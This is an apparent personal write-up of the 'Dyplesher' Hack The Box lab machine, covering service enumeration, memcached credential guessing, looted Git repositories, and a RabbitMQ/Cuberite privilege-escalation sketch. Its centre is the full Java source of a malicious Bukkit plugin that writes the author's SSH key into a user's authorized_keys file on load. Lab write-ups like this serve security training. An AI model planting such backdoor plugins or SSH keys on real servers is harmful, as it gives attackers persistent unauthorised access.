Dyplesher HTB writeup
Dyplesher Image
Dyplesher was my very first Insane Hack The Box machine. Drove me nuts to find an initial foothold and root wasn't much harder than a medium/hard box.
Enum
Enumeration was the part where I spend most of the time, was overlooking into the wrong places and ignored the correct.
NMAP results
Below results of NMAP, we can see SSH, HTTP, RabbitMQ, EPMD Memcached and minecraft-server services running, also an unknown service running on port 3000.

I first started fuzzing GOGS service, but nothing found so far with with low privileges on it.
After many ours of enumerating all web services with different wordlist, finally got a hit using dirb's common.txt on test.dyplesher.htb

Memcached enumeration
Now that we have memcached credentials, is time to enumerate and find something useful. As the server is using SASL auth, we cannot use netcat nor telnet. So I installed memcached tools and check the status of the server.
1
$ memcstat --username felamos --password XXXXXXXXX --servers 10.10.10.190

Next is to check how many items are stored in the cache, was 4 items in my case.

Then tried to list the keys, but wasn't able to see then in any way.
At this point tried to guess how the keys would be, tried things like email, user, password.
username key worked and gave us 3 users.1

Once logged in, we can see there was 2 repositories: memcached with same contents as we downloaded previously in the other web service and a gitlab repository.
We couldn't see anything useful on the repository itself, but there was a release package with a zip file ready to download. http://10.10.10.190:3000/attachments/a1b0e8bb-5843-4d5a-aff4-c7ee283e95f2​
At this point, once the zip file downloaded and unzipped. We can locally clone the contents of an existing @hashed directory.

So far, there were 4 repositories. After reviewing them we observed that only 4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce had things usefull for us.
Checking over the contents of this repository I've found that there was a DB file with users credentials.

Bukkit java plugin
At first tried to upload a jar plugin created by msfvenom, it failed due name too large while loading and also because the plugin requires an specific design for the tool consuming it.
Then looked at
bukkit.yml in the same repo as users.db file which results is a plugin management for minecraft https://bukkit.gamepedia.com/Main_Page​Main site leads us into a how to write plugins guide https://bukkit.gamepedia.com/Plugin_Tutorial​
Next step is to create a new maven project.

mvn archetype:generate -DgroupId=htb.dyplesher -DartifactId=xnaaro-plug
Copied!
Once the project had a proper design, followed the guide to write plugins and adapted the required parts for bukkit plugins.
First was
pom.xml file. Below is an example of my configuration.1

Second is
src/main/resources/plugin.yml file which is where bukkit will read plugin name and what java class will load as main.1
name: xnaaro
2
main: htb.dyplesher.Xnaaro
3
version: 1.0.2
Copied!
Last file is
src/main/java/htb/dyplesher.Xnaaro.java. This is the file where the actual java code with our RCE commands will be.It requires to load JavaPlugin and extends its main class with it.
Our RCE code will be executed while loading/enabling the plugin.
At first tried to get a reverse shell, but it didn't work as expected because there was a firewall in the box blocking outgoing connections.
After enumerating sometime the box, saw the commands were running as MinatoTW user.
So, just added my SSH key into his authorized_keys file.
1
package htb.dyplesher;

import org.bukkit.plugin.java.JavaPlugin;

import java.io.FileWriter;

import java.io.IOException;

public class Xnaaro extends JavaPlugin {

@Override

public void onDisable() {

System.out.println ("Plugin disabled");

}

@Override

public void onEnable() {

try {
17
FileWriter myWriter = new FileWriter("/home/MinatoTW/.ssh/authorized_keys");

myWriter.write("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+P7qV7kjQ7RaxUNNeAlQkREHCUKW1kXitmHwdrpDZ+MZlfmZmYPJ75A+/m/S6JVS4qi8oCXthZX06j0x1oaGrKAsoYSuMMU+eN40gp+9I2IaPglv0407yL4fJMqy0jnb9ID+g5c+OTTH8q7tQ0wvcFLZpOnnbHVp2Autgb9Plx4fppNAQcHn11VBXTv+e48RKcC44gJULVhqp8eB8lT5O2pT5aHP58s3dggTMn5rwzxK7k6jT638rHNWUM84WhepzQb9dE3NYLX2RRdshBIIfqVeIUZfxWg5fcLjgTfdV7lb4zrJbS9KXH8UWb8NSfM73Pwy3mSFSdtNC59qTZEiN838bBSJbFtcBj8aVHWrdEjowGBzv8yYcrLC7tpFZyHxLsQsenOf/MTUKtqrqQq/tRVwcwhbYHXH2fIcU1x+pEI8qxpLHR64fiynxwrnVP/FSGchvvX3hnzkdDE3g51lvMhpkAxX30aqwd1Hmqs8YRYVA43atczbLo1TaNto3QkU= [email protected]");
19
myWriter.close();
20
} catch (IOException e) {
21
System.out.println("An error occurred.");
22
e.printStackTrace();
23
}
24
}
25
}
Copied!
Finally, create a
.jar package with maven1
mvn package
Copied!
In order to raise the RCE, first we need to upload the plugin package and then enable it in the GUI. In the plugin list the name was a long hash, but using plugin name
xnaaro in my case, properly executed it.And we have ssh access to minatotw user.

$ ssh [email protected] -i id_rsa

Once inside felamos

Investigated a bit what the services was doing and what languages uses it, found out that the plugins were written with
lua programming language. https://book.cuberite.org/#0.1​At first tried to read queues, but auth was required. Looking at the previous captured
.pcap file, I was able to see another credential for AMQP.1

Then wrote a python script to connect rabbitmq and send a message into the queue. Used this guide to write the code https://www.rabbitmq.com/tutorials/tutorial-one-python.html​
Cuberite was expecting an URL in the message and outgoing connections was blocked by the firewall.
Our only option was to use a hosted service inside the box and point the URL to localhost.

This box took me 25 hours of work, most of the time was in the enumeration part, once you know the behaviour of the services is easily accomplished after some research and development guides.
Hope you liked it, happy hacking!
